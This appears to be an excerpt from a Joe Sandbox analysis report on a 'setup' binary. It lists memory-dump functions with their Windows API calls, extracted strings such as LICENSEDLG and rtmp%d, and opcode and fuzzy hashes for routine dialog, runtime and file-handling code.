Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cfd936507038a5d62e29de7cf6ed85a2ff23af08f760321be426e1e22decf0b
Instruction ID: a35ca50aadae0fe22c118b44e25cf1b528968d8ea15e8a47e57cdc664cc4da67
Opcode Fuzzy Hash: 6cfd936507038a5d62e29de7cf6ed85a2ff23af08f760321be426e1e22decf0b
Instruction Fuzzy Hash: 9851CE309083914FCB12CF26918446FBFE0BEDA318F4948AFE4D54B262D235D649CB96

Function 0049F968 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34edfc90c93e7efe770d3eb6e98dbf2709b4bd1675faa7ae2ddadbf6202eafaf
Instruction ID: ea19e533987ef9530f47ce18f5c287b5566902c2147ed70d05ff4fe613342cd6
Opcode Fuzzy Hash: 34edfc90c93e7efe770d3eb6e98dbf2709b4bd1675faa7ae2ddadbf6202eafaf
Instruction Fuzzy Hash: AE512671A087018BC748CF19D48059AF7E1FFC8354F058A2EE899E7740DB34E959CB9A

Function 004A37C1 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680dd35d5b71cc1049d84931067584ed44f7cee91fcb56c6d02cf908e44fe073
Instruction ID: 5799ec8462ad8fa8462db6179bef7d50a668164c74a111393e81514d33c0d753
Opcode Fuzzy Hash: 680dd35d5b71cc1049d84931067584ed44f7cee91fcb56c6d02cf908e44fe073
Instruction Fuzzy Hash: EB3113B56047058FCB14DF28C85226ABBE0FBA6305F10492EF499C7342D73CEA59CB96

Function 00495F3C Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 278914a72cee576d4f19b60a67bfcbb5dc7dc2709c3acb02588d7b6ae31c94ff
Instruction ID: 4f427d4f5de004fa9bb599ea4e991f0fefa8b8c850c73a2478b5d5795ed2cc85
Opcode Fuzzy Hash: 278914a72cee576d4f19b60a67bfcbb5dc7dc2709c3acb02588d7b6ae31c94ff
Instruction Fuzzy Hash: 0321FC32A201754BCB88CF2EDCD083B7751A78A321746813BEE46CB3D5C539E925C7A8

Function 0049DA98 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 236COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0049DABE

Part of subcall function 0049400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0049401D

Part of subcall function 004A1596: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,004D0EE8,00000200,0049D202,00000000,?,00000050,004D0EE8), ref: 004A15B3

_strlen.LIBCMT ref: 0049DADF
SetDlgItemTextW.USER32(?,004CE154,?), ref: 0049DB3F
GetWindowRect.USER32(?,?), ref: 0049DB79
GetClientRect.USER32(?,?), ref: 0049DB85
GetWindowLongW.USER32(?,000000F0), ref: 0049DC25
GetWindowRect.USER32(?,?), ref: 0049DC52
SetWindowTextW.USER32(?,?), ref: 0049DC95
GetSystemMetrics.USER32(00000008), ref: 0049DC9D
GetWindow.USER32(?,00000005), ref: 0049DCA8
GetWindowRect.USER32(00000000,?), ref: 0049DCD5
GetWindow.USER32(00000000,00000002), ref: 0049DD47

Strings

$%s:, xrefs: 0049DAB2
TL, xrefs: 0049DAFA
d, xrefs: 0049DBA5
CAPTION, xrefs: 0049DC77

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$TL$d
API String ID: 2407758923-3210416818
Opcode ID: 13c1cc650e82cb39bc483464e34b30d351e78efb3a8ca6a8544eed4492b1ad1e
Instruction ID: 16bd2ef49509e0e78e91217fe4a2c8bf69cb01ad42af01cd6aac9eb9650bcad3
Opcode Fuzzy Hash: 13c1cc650e82cb39bc483464e34b30d351e78efb3a8ca6a8544eed4492b1ad1e
Instruction Fuzzy Hash: 5581A171508341AFDB10DF69CD89F6BBBE9EBC9704F04092EFA8493290D674E905CB5A

Function 004BC233 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 004BC277

Part of subcall function 004BBE12: _free.LIBCMT ref: 004BBE2F
Part of subcall function 004BBE12: _free.LIBCMT ref: 004BBE41
Part of subcall function 004BBE12: _free.LIBCMT ref: 004BBE53
Part of subcall function 004BBE12: _free.LIBCMT ref: 004BBE65
Part of subcall function 004BBE12: _free.LIBCMT ref: 004BBE77
Part of subcall function 004BBE12: _free.LIBCMT ref: 004BBE89
Part of subcall function 004BBE12: _free.LIBCMT ref: 004BBE9B
Part of subcall function 004BBE12: _free.LIBCMT ref: 004BBEAD
Part of subcall function 004BBE12: _free.LIBCMT ref: 004BBEBF
Part of subcall function 004BBE12: _free.LIBCMT ref: 004BBED1
Part of subcall function 004BBE12: _free.LIBCMT ref: 004BBEE3
Part of subcall function 004BBE12: _free.LIBCMT ref: 004BBEF5
Part of subcall function 004BBE12: _free.LIBCMT ref: 004BBF07

_free.LIBCMT ref: 004BC26C

Part of subcall function 004B84DE: RtlFreeHeap.NTDLL(00000000,00000000,?,004BBFA7,?,00000000,?,00000000,?,004BBFCE,?,00000007,?,?,004BC3CB,?), ref: 004B84F4
Part of subcall function 004B84DE: GetLastError.KERNEL32(?,?,004BBFA7,?,00000000,?,00000000,?,004BBFCE,?,00000007,?,?,004BC3CB,?,?), ref: 004B8506

_free.LIBCMT ref: 004BC28E
_free.LIBCMT ref: 004BC2A3
_free.LIBCMT ref: 004BC2AE
_free.LIBCMT ref: 004BC2D0
_free.LIBCMT ref: 004BC2E3
_free.LIBCMT ref: 004BC2F1
_free.LIBCMT ref: 004BC2FC
_free.LIBCMT ref: 004BC334
_free.LIBCMT ref: 004BC33B
_free.LIBCMT ref: 004BC358
_free.LIBCMT ref: 004BC370

Strings

PL, xrefs: 004BC249

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: PL
API String ID: 161543041-2418937307
Opcode ID: 08951c20f86dc36bd124cb6b58775e78e8bb17c81e321ffc4cd863277e4ab51a
Instruction ID: 9198156032a89eb323938772a2fa3570f356259781a435cbb80475b03aba48ad
Opcode Fuzzy Hash: 08951c20f86dc36bd124cb6b58775e78e8bb17c81e321ffc4cd863277e4ab51a
Instruction Fuzzy Hash: 49316C31500205AFEB24AA7AD9C5BDB73E9BB00314F50846FE449D7651DF39AC40DB78

Function 004ACD2E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 004ACD51
GetClassNameW.USER32(00000000,?,00000800), ref: 004ACD7D

Part of subcall function 004A17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0049BB05,00000000,.exe,?,?,00000800,?,?,004A85DF,?), ref: 004A17C2

GetWindowLongW.USER32(00000000,000000F0), ref: 004ACD99
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 004ACDB0
GetObjectW.GDI32(00000000,00000018,?), ref: 004ACDC4
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 004ACDED
DeleteObject.GDI32(00000000), ref: 004ACDF4
GetWindow.USER32(00000000,00000002), ref: 004ACDFD

Strings

STATIC, xrefs: 004ACD83

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: 18c6311cd9e7da23da014b67616068454689a6af815e809876fd7c2bab9f00d6
Instruction ID: ba91e6968b46bbec0f8fddbd4ca00ddb26fd589a53eb1c72f4d5a8711834d64f
Opcode Fuzzy Hash: 18c6311cd9e7da23da014b67616068454689a6af815e809876fd7c2bab9f00d6
Instruction Fuzzy Hash: C31127371423107FE2206B209D49FAF365CFB76740F004036FB42B51D2CAA88D15C6AC

Function 004B8EB1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004B8EC5

Part of subcall function 004B84DE: RtlFreeHeap.NTDLL(00000000,00000000,?,004BBFA7,?,00000000,?,00000000,?,004BBFCE,?,00000007,?,?,004BC3CB,?), ref: 004B84F4
Part of subcall function 004B84DE: GetLastError.KERNEL32(?,?,004BBFA7,?,00000000,?,00000000,?,004BBFCE,?,00000007,?,?,004BC3CB,?,?), ref: 004B8506

_free.LIBCMT ref: 004B8ED1
_free.LIBCMT ref: 004B8EDC
_free.LIBCMT ref: 004B8EE7
_free.LIBCMT ref: 004B8EF2
_free.LIBCMT ref: 004B8EFD
_free.LIBCMT ref: 004B8F08
_free.LIBCMT ref: 004B8F13
_free.LIBCMT ref: 004B8F1E
_free.LIBCMT ref: 004B8F2C

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4e9afc9ddc8b9fb5ff4a26e562e2a1d7f1d0873c70148db38c5dc1558ab6cf5c
Instruction ID: 6a12e11dda27c0872028209886775c89f0712137dd654ccebaaa2e37f718e58c
Opcode Fuzzy Hash: 4e9afc9ddc8b9fb5ff4a26e562e2a1d7f1d0873c70148db38c5dc1558ab6cf5c
Instruction Fuzzy Hash: 8B11A77650010DBFCB11EF55C942CDA3B69FF04354B5140AEB9088B626EA35DE51EBA4

Function 00492162 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480COMMON

Download Yara Rule

Strings

x%u, xrefs: 0049267A
;%u, xrefs: 00492497
xc%u, xrefs: 004926D7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: d20b7da8bddfdd8f6e7d915ef48656e2faab13b0d5a5616a6a1063e43dde10a3
Instruction ID: 9a7006634d4299fc9948625aa65aa3341be52f08f8c68fd6b51c3cb698294d63
Opcode Fuzzy Hash: d20b7da8bddfdd8f6e7d915ef48656e2faab13b0d5a5616a6a1063e43dde10a3
Instruction Fuzzy Hash: 8FF11771604240ABDF15DF748AD5BEF7F956B91304F08047FE8459B383DAAC9848C7AA

Function 004AACD0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0049130B: GetDlgItem.USER32(00000000,00003021), ref: 0049134F
Part of subcall function 0049130B: SetWindowTextW.USER32(00000000,004C35B4), ref: 00491365

EndDialog.USER32(?,00000001), ref: 004AAD20
SendMessageW.USER32(?,00000080,00000001,?), ref: 004AAD47
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 004AAD60
SetWindowTextW.USER32(?,?), ref: 004AAD71
GetDlgItem.USER32(?,00000065), ref: 004AAD7A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 004AAD8E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 004AADA4

Strings

LICENSEDLG, xrefs: 004AACE4

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: ed80ad26507e40996e87491cd4a41278045babb0c866db61416fb7b40100e60d
Instruction ID: 6e3d004e3e62b4935452fd96708af07e6deba05816764b3478f887b4405f2021
Opcode Fuzzy Hash: ed80ad26507e40996e87491cd4a41278045babb0c866db61416fb7b40100e60d
Instruction Fuzzy Hash: 5521F8322401057FE2215F22EE49F7B3F6DFB17B46F01002AF340965A1CB965921D63E

Function 00499443 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00499448
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 0049946B
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 0049948A

Part of subcall function 004A17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0049BB05,00000000,.exe,?,?,00000800,?,?,004A85DF,?), ref: 004A17C2

_swprintf.LIBCMT ref: 00499526

Part of subcall function 0049400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0049401D

MoveFileW.KERNEL32(?,?), ref: 00499595
MoveFileW.KERNEL32(?,?), ref: 004995D5

Strings

rtmp%d, xrefs: 0049950F

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: 82e546e3f897a460d5803c1776076679d8898b3c6216c084549536c2074d019f
Instruction ID: c7850860f9addd6a451e4897e6ea31aea41f0e6d8a023e5cf24e2ce585d430b7
Opcode Fuzzy Hash: 82e546e3f897a460d5803c1776076679d8898b3c6216c084549536c2074d019f
Instruction Fuzzy Hash: 9841517290015876CF20EB668C45EEB7B7CAF15384F0044BFB549E3151EB389F89CAA8

Function 004A8E62 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 004A8F38
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 004A8F59
CreateStreamOnHGlobal.COMBASE(00000000,00000001,00000000), ref: 004A8F80

Strings

utf-8"></head>, xrefs: 004A8EBD
<html>, xrefs: 004A8EA7, 004A8EE0
</html>, xrefs: 004A8F0A
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 004A8EB2

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Global$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4094277203-4209811716
Opcode ID: 2f5028c68f1aba1e4e65f451e25123f2d690aecc3c2dd9618d46cc3f7895bf1f
Instruction ID: dc49a1a962ea2b14177e16aebbac1b2be44b5ef666cf400d479a8ca144c73894
Opcode Fuzzy Hash: 2f5028c68f1aba1e4e65f451e25123f2d690aecc3c2dd9618d46cc3f7895bf1f
Instruction Fuzzy Hash: 7C3129355083127FD724AB259C42FABB768DFA2725F14011FF901A62C1EF6C9A0983BD

Function 004B8FA5 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,004D0EE8,004B3E14,004D0EE8,?,?,004B3713,00000050,?,004D0EE8,00000200), ref: 004B8FA9
_free.LIBCMT ref: 004B8FDC
_free.LIBCMT ref: 004B9004
SetLastError.KERNEL32(00000000,?,004D0EE8,00000200), ref: 004B9011
SetLastError.KERNEL32(00000000,?,004D0EE8,00000200), ref: 004B901D
_abort.LIBCMT ref: 004B9023

Strings

XL, xrefs: 004B8FF7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID: XL
API String ID: 3160817290-2690532890
Opcode ID: bab3b253b95015780b4afac8c5c667aeb5295af4ed3c64f217fcc667d78c00e9
Instruction ID: 013fee75c20497c5017c243dfa6677899cddb4e116c47039f7512777bd9e9c2b
Opcode Fuzzy Hash: bab3b253b95015780b4afac8c5c667aeb5295af4ed3c64f217fcc667d78c00e9
Instruction Fuzzy Hash: 3FF02832504610BAC62137276C0AFFB2A1E9BD1769B25002FF514E2292EF2CCD22E13D

Function 004A0A8A Relevance: 12.1, APIs: 8, Instructions: 115timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004A0A9D

Part of subcall function 0049ACF5: GetVersionExW.KERNEL32(?), ref: 0049AD1A

FileTimeToLocalFileTime.KERNEL32(?,00000001,00000000,?,00000064,00000000,00000001,00000000,?), ref: 004A0AC0
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,00000001,00000000,?), ref: 004A0AD2
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 004A0AE3
SystemTimeToFileTime.KERNEL32(?,?), ref: 004A0AF3
SystemTimeToFileTime.KERNEL32(?,?), ref: 004A0B03
FileTimeToSystemTime.KERNEL32(?,?), ref: 004A0B3D
__aullrem.LIBCMT ref: 004A0BCB

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: d2949a5f5e950202d27b607fd783acab2a14a2f379d0265f77df33eeea23c881
Instruction ID: 690753810272c76a6248d3b31986233901b1e5e4d4538e85ec6f34d8df0fbbef
Opcode Fuzzy Hash: d2949a5f5e950202d27b607fd783acab2a14a2f379d0265f77df33eeea23c881
Instruction Fuzzy Hash: 37414AB24083059FC350DFA5C88096BFBF8FB98715F008A2FF59692650E738E549CB66

Function 004BEE2D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,004BF5A2,?,00000000,?,00000000,00000000), ref: 004BEE6F
__fassign.LIBCMT ref: 004BEEEA
__fassign.LIBCMT ref: 004BEF05
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 004BEF2B
WriteFile.KERNEL32(?,?,00000000,004BF5A2,00000000,?,?,?,?,?,?,?,?,?,004BF5A2,?), ref: 004BEF4A
WriteFile.KERNEL32(?,?,00000001,004BF5A2,00000000,?,?,?,?,?,?,?,?,?,004BF5A2,?), ref: 004BEF83

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
